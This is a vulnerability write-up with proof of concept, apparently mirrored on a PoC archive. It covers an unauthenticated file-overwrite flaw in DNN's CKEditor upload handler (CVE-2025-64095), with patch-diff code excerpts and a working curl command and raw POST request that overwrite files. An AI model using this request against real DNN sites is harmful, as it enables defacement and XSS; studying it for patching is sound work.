关联漏洞
标题:DNN 代码问题漏洞 (CVE-2025-64095)Description:DNN(又名DotNetNuke)是美国DNN公司的一套由微软支持、基于ASP.NET平台的开源内容管理系统(CMS)。该系统具有易于安装、可扩展、功能丰富等特点。 DNN 10.1.1之前版本存在代码问题漏洞,该漏洞源于默认HTML编辑器允许未经验证的文件上传,可能导致网站篡改和跨站脚本攻击。
Description
POC of DNN Insufficient Access Control - Image Upload allows for Site Content Overwrite
介绍
# CVE-2025-64095---DNN-Unauthenticated-arbitrary-file-upload
POC of DNN Insufficient Access Control - Image Upload allows for Site Content Overwrite
I'm a simple man, I see cvss:10/10 I go in xD
I saw this new CVE CVE-2025-64095 DNN Insufficient Access Control - Image Upload allows for Site Content Overwrite
The default HTML editor provider allows unauthenticated file uploads and images can overwrite existing files.
>> Description
An unauthenticated user can upload and replace existing files allowing defacing a website and combined with other issue, injection XSS payloads.
https://nvd.nist.gov/vuln/detail/CVE-2025-64095
Base Score: 10.0 CRITICAL 🤷♂️
It turns out not that critical after all, since you can not upload a web shell like ASP, ASPX..etc **(in the default configuration at least )** you can upload images + SVG only . you can only upload/write existing files in the web server + in a specific path, you can not even upload a file in the root dir .
# Patch Diffing Analysis: DNN Platform 10.1.0 10.1.1
Since all versions before 10.1.1 are vulnerable, i took the DNN Platform 10.1.0 (the last vulnerable version )
## Introduction
The diff is a little bit big, I'm only interested in the code that is related to the file upload which is related to `Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx`. So I focused on comparing this specific file between versions to understand what (if anything) was fixed in 10.1.1.
Let me walk you through what I found and how I discovered the vulnerability.
## Initial Investigation
When I first started looking at the two versions, the overall diff showed 158 changed files between DNN Platform 10.1.0 and 10.1.1. Most were just improvements - file-scoped namespaces. But I needed to know if the file upload vulnerability was patched.
The vulnerable file is located at `Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx.cs` - this is the CKEditor file upload handler. It's a common attack surface for file upload vulnerabilities.
## The Vulnerability in 10.1.0
Looking at the `ProcessRequest` method in 10.1.0:
```csharp
public void ProcessRequest(HttpContext context)
{
context.Response.AddHeader("Pragma", "no-cache");
context.Response.AddHeader("Cache-Control", "private, no-cache");
this.HandleMethod(context);
}
```
That's it. There's literally **no authentication check**. Anyone can send a request to this endpoint and upload files, no session check, nothing.
The flow goes like this:
1. sends a POST request to `FileUploader.ashx`
2. `ProcessRequest` gets called
3. It immediately calls `HandleMethod` which routes to `UploadFile`
4. `UploadFile` calls `UploadWholeFile`
5. `UploadWholeFile` processes the upload without checking if the user is logged in
The entire upload logic happens in `UploadWholeFile` starting around line 230. Let me show you the critical parts:
```csharp
private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
{
for (int i = 0; i < context.Request.Files.Count; i++)
{
var file = context.Request.Files[i];
var fileName = Path.GetFileName(file.FileName); // Line 236
// Convert Unicode Chars
fileName = Utility.ConvertUnicodeChars(fileName);
// Replace dots in the name with underscores (only one dot can be there... security issue).
fileName = Regex.Replace(fileName, @"\.(?![^.]*$), "_", RegexOptions.None);
// Check for Illegal Chars
if (Utility.ValidateFileName(fileName))
{
fileName = Utility.CleanFileName(fileName);
}
// ... more processing ...
// Rename File if Exists
if (!this.OverrideFiles) // Line 268
{
var counter = 0;
while (File.Exists(Path.Combine(this.StorageFolder.PhysicalPath, fileName)))
{
counter++;
fileName = string.Format("{0}_{1}{2}", fileNameNoExtenstion, counter, Path.GetExtension(file.FileName));
}
}
var contentType = FileContentTypeManager.Instance.GetContentType(Path.GetExtension(fileName));
var userId = UserController.Instance.GetCurrentUserInfo().UserID; // Line 284 - gets userId but never checked!
if (!contentType.StartsWith("image", StringComparison.InvariantCultureIgnoreCase))
{
FileManager.Instance.AddFile(this.StorageFolder, fileName, file.InputStream, this.OverrideFiles, true, contentType, userId);
}
else
{
// Image resizing logic follows...
}
}
}
```
Notice that on line 284, they call `UserController.Instance.GetCurrentUserInfo()` to get the userId, but they never actually verify if the user is authenticated. If you're not logged in, this just returns a null or anonymous user, but the upload continues anyway.
Also notice the `OverrideFiles` property on line 268:
```csharp
private bool OverrideFiles =>
HttpContext.Current.Request["overrideFiles"].Equals("1")
|| HttpContext.Current.Request["overrideFiles"].Equals("true", StringComparison.InvariantCultureIgnoreCase);
```
This is a user-controlled parameter! Anyone can set `overrideFiles=1` in their upload request and overwrite existing files.
## Testing the Vulnerability
I tested this by crafting a simple curl command:
```bash
C:\Users\pwn\Desktop>curl -x http://127.0.0.1:8080 -X POST http://mysite.dnndev.me/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx -F "file=@poc.png" -F "storageFolderID=1" -F "portalID=0" -F "overrideFiles=1" -F "mode=Default"
[{"group":null,"name":"poc.png","type":"image/png","size":0,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
```
raw POST request
```http
POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx HTTP/1.1
Host: mysite.dnndev.me
User-Agent: curl/8.13.0
Accept: */*
Content-Length: 626
Content-Type: multipart/form-data; boundary=------------------------7RKjWLYyrhvUn2AA31fJQ3
Connection: keep-alive
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="file"; filename="poc.png"
Content-Type: image/png
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="storageFolderID"
1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="portalID"
0
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="overrideFiles"
1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="mode"
Default
--------------------------7RKjWLYyrhvUn2AA31fJQ3--
```
#### response :
```http
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 194
[{"group":null,"name":"poc.png","type":"image/png","size":10,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
```
<img width="1236" height="645" alt="image" src="https://github.com/user-attachments/assets/1c53d652-80e3-4772-a21c-e691c8b4adf6" />
The file was uploaded successfully. I verified it by checking `http://mysite.dnndev.me/Portals/_default/poc.png` and sure enough, there it was.
and the file is hosted in the **\Portals\_default** dir :
```
PS C:\Users\pwn\Documents\site\web02> Get-ChildItem -Path . -Filter "poc.png" -Recurse -File
Directory: C:\Users\pwn\Documents\site\web02\Website\Portals\_default
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/31/2025 4:16 PM 0 poc.png
PS C:\Users\pwn\Documents\site\web02>
```
<img width="745" height="507" alt="image" src="https://github.com/user-attachments/assets/85945f71-6d25-4f92-b8c9-ee60677c1c6d" />
## The Path Traversal Protection
I was looking for path traversal to rewrite the files in the root directory , but the protection is actually pretty good. Looking
```csharp
var fileName = Path.GetFileName(file.FileName);
```
it works correctly. `Path.GetFileName()` automatically strips any directory traversal sequences. So if someone tries to upload a file named `../../../foo`, it becomes just `foo`.
The code also has additional protections in **"DNN Platform\Providers\HtmlEditorProviders\DNNConnect.CKE\Browser\FileUploader.ashx.cs"**
```csharp
private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
{
for (var i = 0; i < context.Request.Files.Count; i++)
{
var file = context.Request.Files[i];
if (file is null)
{
continue;
}
var fileName = Path.GetFileName(file.FileName);
if (!string.IsNullOrEmpty(fileName))
{
// Convert Unicode Chars
fileName = Utility.ConvertUnicodeChars(fileName);
// Replace dots in the name with underscores (only one dot can be there... security issue).
fileName = Regex.Replace(fileName, @"\.(?![^.]*$)", "_", RegexOptions.None);
// Check for Illegal Chars
if (Utility.ValidateFileName(fileName))
{
fileName = Utility.CleanFileName(fileName);
}
}
else
{
throw new HttpRequestValidationException("File does not have a name");
}
if (fileName.Length > 220)
{
fileName = fileName.Substring(fileName.Length - 220);
}
// file names starting with '\\' may be used for manipulating the filepath and explore vulnerabilities
fileName = Regex.Replace(fileName, @"^\\+", string.Empty);
var fileNameNoExtenstion = Path.GetFileNameWithoutExtension(fileName);
// Rename File if Exists
if (!OverrideFiles)
{
var counter = 0;
while (File.Exists(Path.Combine(StorageFolder.PhysicalPath, fileName)))
{
counter++;
fileName = string.Format(
"{0}_{1}{2}",
fileNameNoExtenstion,
counter,
Path.GetExtension(file.FileName));
}
}
```
as you can see in the code `// file names starting with '\\' may be used for manipulating the filepath and explore vulnerabilities
fileName = Regex.Replace(fileName, @"^\\+", string.Empty);`
As I said, I do not think this is a critical vulnerability after all
文件快照
[4.0K] /data/pocs/5463fc4044a4c3c3f332797cf03a252f4923452b
├── [1.4M] code-changed.txt
└── [ 10K] README.md
1 directory, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮件到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对 POC 代码进行快照,为了长期维护,请考虑为本地 POC 付费/捐赠,感谢您的支持。